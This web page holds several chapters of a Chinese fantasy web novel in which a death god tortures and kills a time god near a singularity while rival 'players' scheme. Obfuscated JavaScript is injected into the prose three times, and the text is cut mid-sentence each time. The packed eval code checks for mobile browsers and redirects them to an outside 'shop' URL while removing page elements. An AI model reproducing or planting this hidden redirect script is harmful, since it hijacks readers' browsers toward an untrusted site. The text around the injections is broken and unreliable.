齿轮状的绞索被祂轻柔地套上狐蛇的脖颈。 “很遗憾,我们没能达成一致……” 绿赛图斯的眼眶微微泛红,一滴银色的泪水从祂眼尾滑落。 “再见。蝼蚁。” 祂忽然想到一个绝妙的点子,能在最后时刻从灵魂层面击垮这头狐蛇。 齿轮绞索的位置微微上移,离开厄洛诺斯的脖颈—— 刚好卡在那串散着莹莹光晕的珍珠项链上。 时间不认为自己连绞碎一串记忆项链的能力都没有。 恐惧爬上忒尼斯·厄洛诺斯的大脑,她有一瞬宕机。 “说起来祢要感谢我才是。” 绿赛图斯附在她耳边打趣:“毕竟,【织觉人】不是很讨厌这串‘狗圈’吗。” “也算在死前圆梦了。” 狐蛇:“……” 绿赛图斯怪会恶心自己的。 恐惧只是瞬间的情绪,并不能左右她对步入死亡的豁达。 厄洛诺斯的传承信物毁在自己手里也是没办法的事。 作为家族首领,忒尼斯却实实在在地没有什么家族荣誉感。 荣耀全部是她作为【织觉人】带来的。 在忒尼斯看来,其余厄洛诺斯更像是趴在自己身上吸血的蛀虫。 绞索收紧,珍珠项链上出现细密的裂痕。 裂痕越来越大。 ‘啪——’ 一声炸响,是项链崩毁的声音。 在绿赛图斯完全无法理解的目光下,祂手中由时间幻化的齿轮绞索伴随忒尼斯脖颈上的项链…… 在同一时间,应声而断。 忒尼斯·厄洛诺斯没有犹豫,瞬间打出一道幻觉砸向时间之神。 自己则借着绿赛图斯分神的功夫离开原地—— 祂的幻觉最多只能拖住绿赛图斯两个半小时。 “好差劲,忒尼斯。” 忒尼斯·厄洛诺斯怔在原地。 “愣在这里做什么?” 母亲优雅如大提琴般的声音在她耳畔响起:“快逃啊,畸胎。” “?” 忒尼斯无话可说, 现在多少不是逆反心理作祟的时候。 忒尼斯只好顺着艾维斯留在项链里的声音开始疯狂逃命。 上代厄洛诺斯首领留在项链里的声音还在继续—— “我当初只是随手一赌,没想到你居然还真走到时间那贱种面前了。” “实在是太好玩了,哈哈哈哈哈哈!” “对了,忒尼斯是TOP.1吗?虽然很希望你是……” 艾维斯的声音喋喋不休:“不过以你的性格……大概不会去主动挑战【主教】吧。” “所以我猜是TOP.3。” 忒尼斯·厄洛诺斯脸上屈辱的神色一闪而过。 然而艾维斯·厄洛诺斯接下来的话,完全在她的意料之外: “TOP.3也很棒,忒尼斯。” “比你母亲我可好上太多啦!” “况且能听到这句话,说明时间已经对你下手了。” 上代厄洛诺斯吹了个轻佻的口哨。 “母亲以你的命悬一线为荣哦~” ‘……说得倒是好听!’ 忒尼斯神情扭曲,完全没有办法忽视这头厄洛诺斯话语里的重点。 所以…… 只有绿赛图斯对自己下手的时候,这串项链保护机制才会被触发。 ‘该死的!’ ‘艾维斯·厄洛诺斯的性格,哪怕死了还是这么讨厌!’ 整个代号十都属于时间,她就算逃又能逃去哪里? 绿赛图斯虽然无法插手正在行进演绎的副本,但从外部毁灭一个副本世界再轻易不过。 就算躲进副本,两个半小时后,她还是要死。 ‘快点想啊——!’ ‘但凡能活下去没有谁想变成尸体,况且!’ 忒尼斯·厄洛诺斯气喘吁吁地想—— ‘我真的很厌恶垃圾场!’ ‘……等等,垃圾场?’ 那不是段心慈的剧场吗? 死亡之神的地盘,就算在时间里也是极为特殊的。 身为诡计之神的狐蛇清楚—— 段心慈的剧场从来不是那间小小的破烂屋子,而是占据整座代号十背面的巨型坟场。 死在时间里的生命越多……属于死亡之神的剧场,盘踞面积越大。 现在她只想知道,自己该怎么回到那个鬼地方? 忒尼斯忆起三个月前,冬虫夏草—— 怀里抱着一捧黄玫瑰的青年。 玫瑰的颜色太鲜亮,不需要费太多心思就能记起。 她不再犹豫,动身前往酒馆。 狐蛇的行动一路畅通无阻。 只在最后推开那扇暗门时,祂与同样匆匆赶来的【匿名】撞上。 【匿名】不满地拍拍袖子:“忒尼斯·厄洛诺斯!” 较平日不那么阴冷黏腻的目光扫过【织觉人】空荡的脖颈—— 他语气轻佻:“祢的小狗项圈呢?” 忒尼斯:“?” 祂就不明白了,其余玩家是怎么容忍这玩意活到现在的? 就因为难杀? “滚。” 忒尼斯·厄洛诺斯一把将【匿名】按在门板上:“别让我再从祢这张嘴里,听到任何不中听的话。” “……真是坏脾气的孩子。” 【匿名】叹了一口:“哎!【织觉人】祢说,我刚才像不像被祢杀死的艾维斯?” 忒尼斯·厄洛诺斯忍无可忍,一巴掌拍掉【匿名】的头。 不顾脖颈折断,堪比染料喷泉的【匿名】,诡计之神转身走进暗门。 【匿名】在酒馆地面上安安静静地躺了一会儿。 最后他发现地板太冷会导致脖颈断口的血液逐渐凝固。 一想到凝固之后再接上会更加麻烦,他只好撇着嘴,从墙里扣下自己的脑袋重新按上。 “可怕的狐蛇。” 从胸前的口袋里抽出手帕,【匿名】擤了擤鼻涕 他一边走向坟场,一边含糊其词地表达对自己的怜惜之情:“可怜的我。” 绿赛图斯从幻境里离开,已经是六个小时后。 忒尼斯·厄洛诺斯对幻境把控,远比她自己以为的强。 祂第一时间想去杀了那头胆大包天的狐蛇,然后发现自己无法定位:“……” 整座代号十里能让此处主神也无法定位的…… 也就只有死亡与预言名下的剧场。 有些受挫的时间分出一部分意识,去看如今的死亡之神究竟杀得怎么样了。 以及到现在为止…… 为什么一个想让段心慈留下的灵魂都没有? 难道对方做人已经失败到这个地步了?! 要知道上一位瘟疫之神到死都没能荣获这样的待遇。 绿赛图斯大为震惊。 然后祂就看见段心慈靠在小巷角落里睡觉,一动不动。 完全没有大开杀戒的准备。 “……” ‘真的有这么困?’ 绿赛图斯不理解。 不过对方放弃抵抗,对祂来说反而是有利的局面。 是以祂不再关注寰宇的情况,转而打起再寻盟友的盘算。 能对死亡神祇造成实质伤害的…除了【织觉人】还有三位。 分别是: 预言之神——顾屿。 前·正义之神——元翎。 以及…… 「愚灵柩」。 绿赛图斯首先排除和「柩」合作的可能。 顾屿眼里只有那只黑猫。 挟持T.T-Carro不一定会让顾屿受限,但一定会让祂更加疯狂。 那么,唯一可以尝试沟通的对象只有元翎。 被代号十惦记的前·正义之神,此刻正在用【屠夫】穆格罗的身体逛街。 其余玩家纷纷用好奇的眼神划过这位本应该出现在副本世界里的TOP榜成员。 但也仅仅是好奇。 TOP榜那群疯子做出什么事都很正常。 元翎本以为多少会有玩家上前质问他: 副本世界没结束怎么就出来了,是不是临阵脱逃……之类的话。 他甚至已经打好腹稿—— 脑海内,键帽冷笑一声。 它告诉这只鹦鹉,这样的想法完全是少年漫看太多产生的后遗症。 就算元翎用穆格罗的身体当众跳脱衣舞,扭成山路十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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「柩」对每一届TOP.1的性格都了如指掌。 因此知道什么时候说什么样的话,最能够触动眼前的元翎。 “好。” 万年后,元翎还是在「柩」面前认领了属于他的宿命。 “我不会再逃避。” 「柩」不置可否:“希望你说到做到。” 他离开的背影毫无留恋。 不需要元翎的再三保证,「柩」知道这位从前的TOP.1一定会按照自己说的去做。 ‘元翎啊,用鹦鹉的尸体为我铺路吧。’ ‘你会成为我讨得死亡欢心的手段。’ ‘那样,祂就会……’ ‘降怜悯于我。’ ‘真可笑啊。’ 青年伫立在时间神殿外。 宽大的藏蓝兜帽遮住他喜恶交织,模糊不清的面容。 ‘明明…我才是整座代号十里最有资格被祂怜悯的……玩家。’ ‘难道不是吗?!’ ‘如今却要和一群吵闹的嘴巴去争!去夺!’ ‘凭什么!凭什么凭什么凭什么!’ ‘凭!什!么!’ ‘该死的狐蛇!该死的艾里门·歌德! ’ ‘该死该死该死!’ ‘全!部!都!该!死!’ 在兜帽遮盖的阴影里,【匿名】恐怖狰狞的恶意几乎要化作尸液从眼目里泊泊流淌出来。 ‘段心慈,祢得活着。’ ‘除!非!我!死!’ ‘否则我要祢一辈子都守在坟场—— 我的尸山血海里!!’ 「柩」。 时间里,死者的总和。 然而在代号十这场残酷的演绎游戏里…… 凡死去的,都是不够聪明的家伙。 世上愚者千千万,偏偏千千万是我。 「柩」更名,作「愚灵柩」。 “死亡之神!” ‘段、心、慈。’ “我、非、常、期、待、我、们、正、式、见、面、的、那、天!” 「愚灵柩」说话时带着抑扬顿挫的刻板。 锋利的嘴角裂开称得上夸张的弧度:“祢一定会,非常、非常、非常、想、杀死我的。” ‘我、诞生、以来的、梦、寐、以、求。’ 红绿蓝,三色艳丽的飞萤从【匿名】黑洞洞的七窍,还有皮肤表面…那些密集而诡异的缝线里涌出。 如潮水般散入代号十的大街小巷。 消失得无影无踪。 67.自时间中诞生的 寰宇年-#07秩序型星际世界。 S区-莫克贝尔中心。 玄发青年百无聊赖地靠坐在巷角。 两天半过去。 还剩下半天。 平日热闹的街头巷尾,现在却连一个路人也没有。 甚至没有人造苍蝇的踪迹。 头顶恒星反复升起又落下。 置身瑰丽星云之间的人,反而无法觉察它的美。 这是他曾经力挽狂澜的世界。 如今却在时间的磋磨里走到对立的局面。 又或者…祸根从一开始就被自己埋下。 只是那时没有这份觉悟。 如今这觉悟来得太迟。 段心慈忍不住问自己那个十分要命的问题—— ‘我后悔了吗?’ ‘我应该后悔吗?’ ‘后悔……双手沾满鲜血。’ ‘柯莱特。’ ‘最后被我杀死的时候……在想什么呢?’ ‘怎么这辈子,又来找我了啊……’ ‘还变成了一个人类小姑娘。’ 祂想笑又笑不出。 好苦好苦。 鼻梁泛酸,泪水却到底没能落下。 ‘所以说……从来都没有赢过啊。’ 青年靠在墙面,发丝在夜雾里变得湿冷、沉重。 ‘我们都是战争下的牺牲品,又怎么会赢?’ 那一天,他们心照不宣穿上校服。 青年手中长刀刺穿鲸族的腹部。 而柯莱特的剑刃差一些就能捅进段心慈的脑袋。 偏差的距离并非手下留情,而是实力不济。 身后是家园,他们谁都不能让步。 这就是战场。 ……也是他们迟来的同学聚会。 如果段心慈这时候愿意从小巷里站起身,走出阴影看上那么一眼。 他就能看到几步之遥转角处—— 蹲在地上单手捂住嘴,满脸泪痕的赛霓·柯莱特。 以及站位间隔较大,靠在砖墙上,神情复杂难辨的江灯和法尔·艾莫什。 青年压抑着翻涌刻骨的杀意,始终不曾踏出那里一步。 于是无从得知。 * 三日时光,转瞬即逝。 法尔走到赛霓身后,拍拍她的肩膀:‘……看过,我们就该走了。’ 三人离开不久后觐神宴结束,寰宇重新从副本中脱离。 绿赛图斯自扭曲的时间里走出。 在寰宇之外,时间的身形如同密密麻麻的白蚁群,攀附在#07秩序型星际世界边缘。 始终无法寸进半步。 “让我来欣……?” 眼前是和三日前别无两样的宇宙,以及周身阴森可怖的段心慈。 没有尸骸遍野,死亡好端端地站在祂面前。 时间之神不明白到底是哪里出了差错。 “虽然我也很意外……” 死亡之神慢吞吞地站起身,拍去身上湿气凝重的尘土。 “但是……绿赛图斯——” 青年像一头发狂的猛兽冲向绿赛图斯,带着撕碎一切的力量。 二十一年前,她在绿赛图斯面前如蹒跚学步的幼童;二十一年后,绿赛图斯站在她面前,面对暴虐的死亡毫无还手之力。 “祢没有但是了!” 绿赛图斯无语凝噎:‘…时至今日,这位死亡还是没能放下祂莫名偶有的幽默吗?’ 亿万年的时光仿佛犹在昨日。 作为时间之神,绿赛图斯很难对死亡这一事实产生任何恐惧。 祂曾亲眼目睹两位死亡之神接连陨落,旧爱神死于私欲之手—— 连灵魂都不曾留下。 爱神神座分崩离析,化作尊尊神牌,至此万生万灵皆可因爱成神。 真理见证空间颠倒又反复,世界大陆在放逐里流亡。 对于祂来说,被段心慈杀死只不过是一次灵魂的消泯。 而在死亡之后祂很快就会迎来重构。 失去今生的记忆,一切重新开始……运气好一些甚至能够再次成神。 运气差些或许是成为路边野草,又或许是成为斗兽场里的狗。 一切、一切…最坏的结果祂早已脑海中预演过千千万万次。 碰上段心慈,不过是让这种预演出现得更频繁而已。 时间在心底叹了口气。 在濒死恐惧这件事上,祂注定无法让这位新晋的死亡之神感到满意。 段心慈当然看得出绿赛图斯对待赴死的坦然,但祂绝不愿就此饶恕。 “说起来,我有一份礼物要送给祢。” 巨大的阴影缓缓行至祂们上方的星空。 【猎途座】这艘漂泊在宇宙中的君主级战舰,终于在昔时旧主的召唤下重见天日。 凡仰视者目光所及之处,仿若冷寂的恒星贴近眼球,缓缓地从视网膜上擦过。 “……祢要用战舰砸死我?” 除此以外,绿赛图斯实在想不出这艘庞然大物还能用来干什么。 裂成两半的死亡神座闻言疯狂震颤,如果它能说话恐怕早就大喊出声—— ‘对!段心慈!砸死祂!’ ‘我求祢快点砸死祂!’ ‘这件事就算结了!不要一时冲动毁了自己的前途!’ “当、然、不。” 段心慈一字一顿:“它还有另一个用处。” 死亡神座:…QvQ 时间之神:“?” 在祂不解的目光下,身为生命的段心慈彻底消失。 取而代之的是死亡本身。 无形的,仅仅作为一种存在而存在。 【猎途座】在恐怖的力量下完全压缩,像被看不见的双掌向中心碾压、揉合。 坍缩,不断坍缩……直到微弱的引力出现—— 而段心慈没有停下的念头。 如果说绿赛图斯刚才还处于茫然的状态,那么现在祂完全知道段心慈打算做什么了…… “祢疯了吗?居然打算创造出奇点??!” 超大质量的恒星濒死时经历引力塌缩,最终成为黑洞,奇点则位于黑洞中央1—— 那里没有存在,没有真理。 一切归于虚无。 无论是死亡还是时间都将失去自身真理的意义。 换言之,一旦段心慈无法控制祂手中的虚无怪物,祂们都会死。 并且绝无复生的可能。 “哈哈哈绿赛图斯,祢的拖延症哈哈哈哈哈。” 时间之灵在祂身旁笑得直不起身:“祂,死亡祂哈哈哈肯定是觉得祢的拖延症还不够严重。” “奇点,我不行啦,祂真是个天才哈哈哈!” 段心慈此刻已经听不见任何声音,在最纯粹的暴力压缩下,【猎途座】变成密度无限大的奇点。 “绿赛图斯,祢会喜欢的。” 死亡自言自语。 奇点——时间的终极克星。 时间之神想逃,但在引力里祂的一切都变得迟缓。 “……不,我不喜欢。” 绿赛图斯:‘段心慈,祢完全就是个疯子!’ 死亡之神对时间的抗议完全不予理会,并突然发现自己脑内产生了一个很棒的想法。 第一次完全失去人形,青年并不能很好的适应神祇真身的全新视野。 思维也在同一时间变得紊乱起来。 段心慈原本打算让时间在无尽延长的恐惧里走向虚无,彻底失去转生的机会。 但现在,祂明显有了更好的主意。 ‘我应该、在临近奇点的地方办一场缗礼。’ 死亡之神突发奇想:‘我的爱人已经死去,并且永远无法回到我身边。’ 世上还有什么比在奇点许下的诅咒更长久呢? 没有了。 就连T.T-Carro的诅咒都未必比这更有力。 缗礼—— 如此让灵魂感到歹毒与绝望的仪式。 而她身边刚好有个同样面目可憎的司仪。 怎么想,她和「自我」都能够借此捆绑在一起吧! ‘亲爱的,就算是虚无也无法将我们分割……’ 段心慈神情癫狂地转过上本身,以一种格外扭曲的姿态看向绿赛图斯—— 她的缗礼司仪。 有了这份疯狂,并且如论如何都算不上正常的想法后,段心慈决定立刻实施。 一手提起绿赛图斯,在发现对方身高比自己高出一个头,青年后改提为拖—— 大步迈向奇点。 “……真理在上。 绿赛图斯在大力下吐出一口血,倍感绝望:‘这个疯子到底要做什么……’ 在看到银白的神血后,段心慈萌生出一个绝对算得上合时宜的想法。 她拽住绿赛图斯的左臂狠狠扯下。 神血自断口飙溅,瞬间将她黑色的衬衫染上神圣的银白。 “缗礼怎么能没有缗纱…” 长发青年死死紧盯绿赛图斯飙血的伤口:“我和亲爱的,我们的缗礼绝对、绝对……” 在绿赛图斯难以置信,怀疑自己耳朵因为奇点存在产生毛病的目光下—— 段心慈做了个缓慢的深呼吸,并冷静地一锤定音道:“绝对不能出错。” 时间之灵:“……” ‘哈?祂、祂祂祂刚才说什么??’ ‘缗礼?’ ‘谁的?’ ‘和谁?’ ‘在哪儿?’ 和时间之灵抱有同样疑问的还有绿赛图斯。 只不过这时候的祂已经被段心慈拔去舌头,并且在对方的‘协助’里艰难地咽下。 死亡之神也是在做完这件事后才想起来,司仪是需要说话的。 但绿赛图斯很可能说不出什么自己爱听的话语。 想到这里,她一手钳住绿赛图斯的脖颈,另一只手拽住对方的右臂,再次一撕。 ‘刺啦’一声,银白的血液喷涌飞溅。 该庆幸神血的固色能力相当出色,绿赛图斯的两条腿……并没有保住。 死亡神座‘咔嚓’一声,裂成两半。再无复原的可能。 真理的神罚即将降下。 神座损毁意味「死亡」现下所作的一切都与祂的职责背道而驰。 但段心慈不在乎。 神罚又如何?她今日就是要让时间死无葬身之地。 也是在这个时候,「时间」才终于意识到自己当初究竟招惹的是怎样一头怪物,并将她彻底得罪。 段心慈—— 报复心极强,虐杀和玩弄猎物几乎是刻在她骨子里喜好。 精神体是变异猎豹,本体心理又能健康到哪儿去? 绿赛图斯终于意识到这点,却已经太迟。 不是不能重新长出肢体,但就算长出来…… 也只会被段心慈像撕便签一样轻易撕掉。 那祂还是选择保持现在的模样比较好。 时间之灵对绿赛图斯变成光杆司令这件事喜闻乐见。 但一想到身旁是力量恐怖的段心慈,它无论如何都笑不出。 “……段心慈。” 秉着自己不好过,拖旁的神祇也不能好过的念头,绿赛图斯告诉死亡之神:“祢的爱人不是我杀死的。” “是那只黑猫。” 在祂意料之外,段心慈的情绪完全没有一丝一毫波澜:“我知道。” 隔着副本能够对自己造成伤害的只有T.T-Carro,诅咒之神。 时间又吐出一口血:“那你……!”为什么? 就因为那只黑猫有顾屿罩着吗?!不对吧?! 顾屿和自己的实力差距……再如何也不至于是这个结果啊? “需要我帮祢回忆吗?” 段心慈凝视着心理扭曲的时间:“是祢、把我困进时间神域的。” 没有代号十,她甚至不会和那只黑猫见面。 更谈不上发生冲突。 那样的场景换做是她……未必会比T.T-Carro理智。 “祢才是一切悲剧的开端。” 绿赛图斯怔住:‘我?’ ‘死亡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535522|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …居然是这样看的吗……’ ‘我才是,悲剧的开端吗?’ 祂垂下头颅,银白色的柔顺长发遮住那张脸上灰暗的神色。 时间之灵关闭视觉,不愿再看。 死亡一语道出,是它想脱口而出却没有立场说出的话语。 从绿赛图斯不择手段杀死它的爱人,只为登上神座开始…… 祂们就已经处在一切悲剧的开端。 ‘绿赛图斯,祢安心去死吧。’ 时间之灵带着微妙的恶意,想:我也终于可以抛下灵的职责,为所爱殉葬。 * 临界奇点。 再往后一步就是虚无。 那里没有存在,没有真理,没有概念。 是一切的开端与终结。 段心慈拎起手中残破不堪的躯干,将祂丢到一旁。 时间无法对抗来自奇点的引力。 但段心慈九千亿向上的攻击数值足以让她在引力的影响下行动自由。 事到如今绿赛图斯还有什么不明白的? 会被奇点吞噬,永无来生的……从来只有自己。 祂是有点想笑的。 笑自己居然天真地以为段心慈也会和自己一样丢掉性命。 于是绿赛图斯当真放声大笑起来—— 时间之灵那个卑鄙者…… 当初明明是它率先将深爱自己的人类放弃,选择与实力更强的自己同流合污。 ‘那人死了,到头来它却反悔,将一切怪罪于自己?’ ‘需要我向它强调多少遍?’ ‘那个人类最后是自然老死的!’ 祂几乎要把自己亿万年,不知缘由的痛恨全部诉诸于此。 殊不知在时间之灵看来,喜爱它的,最后却在自己的真理中无可挽回地死去,这已经是莫大的耻辱。 而这份耻辱所蕴含的情感,早已胜过任何。 段心慈不清楚时间那些乱七八糟的过往。她只觉得祂太吵,况且现在还不需要司仪暖场。 死亡之神认为自己现在比起司仪更需要一束捧花。 于是在经历相当漫长的折磨后,段心慈终于一把拧断绿赛图斯的脖颈。 祂傲慢无礼的一生就此终结。 段心慈转身背对奇点。 那张阴郁而美貌的面孔上,狂喜与癫狂,两种情绪混乱交叠—— 她将时间之神死不瞑目的银色头颅向身后奇点抛去。 至此,绿赛图斯灵魂转生的可能性彻底断绝。 全程旁观的时间之灵可不认为段心慈会善心大发放过自己。 毕竟它没有被迫,更谈不上无辜。 放弃与引力对抗的下个瞬间,真理灵消失在奇点背后。 比起在尊严尽失里惶惶不可终日,它宁可在当下自尽。 那自时间之恶里诞生的死亡。 终要从尸山血海、万灵哀泣的神殿下破膛而出—— 以时间的神血涂满全身,来成就祂的威名与显赫。 规则的神罚到底没有降下。 绿赛图斯所做的一切,真理并非一无所知,却碍于规则无法制止。 毕竟从头到尾,绿赛图斯都只做祂职责范围内的一件事: 「流逝」。 ‘流逝期间发生什么都是可以的,不是吗。’ 绿赛图斯傲慢的回答犹在昨日。 真理明知道祂在钻空子却无法出手制止。 祂诱导极夜投放魔盒,后续变相给极夜提供庇护…… ‘那死亡之神今天也就没有做错任何事。’ 真理心境平和:‘不过是带来死亡的方式特别了一些。’ 况且战争的半神座还挂在段心慈身上,谁能说祂的不是? 象征性地视察一圈,真理迅速离开。 青年原以为神罚会立刻降下,但未曾想声势浩荡的雷云只是走个过场。 她不觉得真理会对谁网开一面。 唯一的可能便是绿赛图斯先前所作所为已经完全将规则触怒。 或许自己也该学习一番—— 怎么钻真理规则的空子。 当然也不能太过分。 今日绿赛图斯的结局已经是前车之鉴。 真理不知道段心慈此刻的所思所想,就算知道也不会放在心上。 时间的神祇死于祂亲手招致的祸端,本身就已经是一种警告。 死亡之神不会看不懂其中的命运。 然而祂只消回头看上一眼,就会知道那根本不是个会被外界规则束缚的灵魂。 但祂没有。 时间之神死亡后,段心慈并没有从奇点离开。 祂隐约察觉,面前的奇点似乎有些不寻常。 和那些吞噬欲望无穷无尽的同类有所区别。 它愿意‘自控’,也更亲近创造自己的神祇。 青年摊开掌心,奇点疯狂战栗着在祂手中化作寒光闪闪的电锯。 段心慈沉默半晌。 虽然自己确实喜欢电锯没错。 “换一个。” 她用电锯时的心情,太…恶劣了。 ‘鲜血飞溅的兴奋感……’ 段心慈自觉还是尽量避免来得好。 奇点不明白主神明明喜欢,为什么要换,但它还是顺从地改变了自己的形态。 那是一把造型古朴冷寂的漆黑弯刀,猩红的寒光在血槽与锋刃处显现。 无需再幻化刀鞘,它所诞生的宇宙就是它的刀鞘。 段心慈一把握住刀柄—— 弯刀上传来怪诞的搏动,但凡沾上一点,就会被奇点身后的虚无吞噬。 换句话说,这把刀下,这位新生神祇所带来的死亡不再只是瞬间。 而是永恒。 世上再没有比之更完美的弑神之刃。 死亡之神垂下眼帘,温冷的指腹抚过镌刻在刀柄上的神语。 【猎途座】。 “……无趣。” 段心慈将弯刀收进寰宇的星空。 下个瞬间。 玄发青年出现在因主神死亡即将崩塌的时间神域。 68.甘愿为之献祭的 “说真的,我们为什么要坐在垃圾场打牌?” 穆格罗抽出七张牌,整齐地放在桌面:“3456789。” “……过。” 艾里门·歌德心不在焉。 “因为实力不济。” “【预言师】和【暴食】就在猫屋,但我们不行。” 狐蛇一心只想甩掉更多的小牌:“5678910J。” “五个四,炸掉。” 谢挽非将五张数字一模一样的牌拍在桌面:“段心慈会赢的。” 整个垃圾场瞬间听取‘过’声一片。 少年顺势甩出剩下的牌:7连对,一张多余也没有。 其余玩家把手中花哨的纸牌往桌上一扔。 他们到底是为什么,要在这里没苦硬吃? “我们可以大哭一场。” 【匿名】好心提议:“这样等TOP回来就不会太无聊。” 刚回家就听到这么一句—— 段心慈目光落在桌面零散的纸牌上:“……没必要提前哭坟吧?” 艾里门·歌德回头,原本有些泛红的眼眶在看到对方身上的银白衬衫时愣住:“你……” “别担心。” 段心慈不以为意:“我刚才只是去奇点附近结了个缗。” 在场所有玩家:…??? ‘这就是传说中的每个字都认识,连在一起却如此陌生吗?’ 【匿名】一语道出大家最关心的问题—— “绿赛图斯那个贱种怎么样了?” “什么捧花?当然是扔掉了。” 段心慈恶意满满地做出随意向后抛掷的动作,脸上挂着戏谑残暴的笑。 艾里门·歌德步伐一个踉跄,她简直难以置信。 段心慈结缗这么重要的事情,自己居然不在现场。 忒尼斯·厄洛诺斯半点没有惊讶,她站起身郑重握住段心慈的手:“新缗快乐。” 然后不由分说地将一桶爆米花塞进面前青年的怀里。 穆格罗憋了半天,最终还是磕磕绊绊道:“首,首席,新缗快乐。” ‘不是,就这么结缗了?’ ‘究竟是半身复活…还是冥缗……’ 谢挽非扶正脸上的墨镜,神情恍惚:“……段心慈,新缗快乐。” “谢谢。” 被祝福的神祇接受良好。 ‘如果诅咒能应验就更快乐了。’ 【匿名】脸色如同打翻的调色盘。 按理说段心慈结缗这件事它是万万不能接受的。 缗是上午结的,刺杀是下午实施的。 TOP.1就应该高高在上,怎么能结缗? 但,祂是和自己的半身结缗啊。 「愚灵柩」再三思索,觉得这件事也并非完全不能接受。 想了半天也没有想出个所以然,反倒是自己先一步炸开。 五颜六色的血液,像大型缗礼的彩带礼花。 “……「柩」。” 目光落在地上糟乱的一滩色彩上,死亡之神蹲下身,双臂搭在膝头:“玩得挺开心。” 「愚灵柩」拼好自己碎裂的颅骨,对祂黏腻腻地笑起来。 段心慈神情晦暗。 港口仓库那天事发突然,但她很快意识到—— 顾屿是打算杀死艾里门的,却偏偏等到自己来。 这是虐待。 如果对方和自己是同类,会做出这种事不奇怪。 但预言之神不是。 祂对虐杀没兴趣,同时也不是个会克制自己变态喜好的灵魂. 祂与预言之间…… 真正热衷一击毙命的,是顾屿。 抛开‘一场针对性的复仇’以外,段心慈不做他想。 从对方后来的行为逻辑可以看出那并非莽撞的性格,甚至算得上有责任感。 这件事破绽明明那么多…… 换做任何玩家走到【预言师】面前,顾屿至少会亲自向自己求证。 唯独TOP.10【匿名】,更名「愚灵柩」的「柩」。 死者是不会和生者产生利益冲突的,更没有理由说谎。 他们甚至拥有共同的死敌——绿赛图斯。 完美、天然、交好的立场。 让顾屿相信它口中的话语再简单不过。 是以今天段心慈依然想不通【匿名】针对自己的原因。 死亡之神语气冷漠:“和顾屿说我虐杀T.T-Carro的时候,也这么高兴?” “对。” 在所有玩家震惊不解或早有预料的目光里,【匿名】选择直接点头承认。 “我很高兴。” “从来,从来,没有这样幸福过。” 它拼起自己七零八落的身体:“但,祢爱人死亡不是我的本意。” ‘杀死一半段心慈对自己根本没有任何好处。’ ‘T.T-Carro的诅咒简直是糟糕透顶。’ 听墙角的预言与诅咒:…… 再不出现,「柩」能把全部的责任都推到祂们身上。 顾屿抱着黑猫从巨大的怪物尸骸身后走出:“……嗨。” 一副中气不足的样子。 没办法,谁让她现在理不直气不壮呢。 T.T-Carro从她怀里跳出来:“段心慈。” 黑猫端端正正地在青年面前站定:“我来偿还。” “我有这个能力让祢的爱人回来。” 它走到艾里门·歌德身边:“你的眼睛我们也会复原。” 尽管代价是它和顾屿的性命。 但祂们一致决定没必要将这点说出来。 说出来的,不再是偿还,而是不礼貌。 那双星空紫的猫眼望向段心慈,宽慰她:“一定会成功的。” “成功?” 「愚灵柩」讽刺一笑:“你们不会成功了。” 段心慈有预感它要说出什么自己绝不想让艾里门·歌德听到的话。 她抬手扼住「柩」的脖颈,看向顾屿和T.T-Carro:“祢们会说到做到的,是吗?” 预言之神怔愣片刻,随后祂与黑猫均是理所应当道:“是的。我不会逃避我的责任。” 又或者说…… 在某种畸形扭曲的心态作祟下,顾屿甚至称得上是享受—— 祂沉迷在为自己一言一行承担的状态里,无论结果好坏。 段心慈明了这一点后对祂点点头:“艾里门·歌德的眼睛就交给祢了。” 被称呼了全名的青年下意识一僵。 顾屿愣了一下:“…那……” ‘……你自己呢?’ 祂口中的话语尚未说完,对方已经带着「柩」消失。只剩下其余玩家在原地面面相觑。 “咳……咳咳!” “段心慈!祢不会不明白我想要祢做什么!” “就算艾里门·歌德,顾屿愿意原谅祢。” 【匿名】跪在时间的神殿中,张开双臂:“【死者】和【生者】是我送给祢的礼物!” “他们是因为祢死去的啊——” “祢肯定好奇过这两只蝎子在招揽什么教众吧?” “怎么就没想过,是为祢死亡之神招收信徒呢?” 段心慈猩红的瞳孔骤然一缩。 “毕竟是救命之恩呢!” 「愚灵蛊」完全沉浸在自己的世界里,面目扭曲:“那两只劣质的东西!居然能被祢亲手救下,有资格信仰祢!凭什么?!” “好在他们最后选择背叛,否则——” 它的语速愈快,说话也含混不清起来。 话语里,只有经年不熄的恨意越烧越旺。 “凭什么!祢怜悯生者!死亡之神居然怜悯生者!” “段心慈!我合该恨祢!” “我已经死了啊!段心慈!我已经!死、去、了!” 沙哑的、尖利的、苍老的、稚嫩的…… 吐字清晰或语焉不详的无数声音混杂在一起,变成「柩」嘴里哭笑难辨的声音:“段心慈!” “死去的,不够聪明的灵魂!是没机会遇到祢!没办法被祢拯救的!” 短短几句话的时间里,「愚灵柩」不知道崩溃了多少次。 有些话在背地里说和在正主面前当面说多少有些不同。 “祢不会知道……在发现被祢杀死的生命,灵魂不会回到我的身体里时…”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537188|202926||http|test|mini|href|location''.split(''|''),0,{})); () { 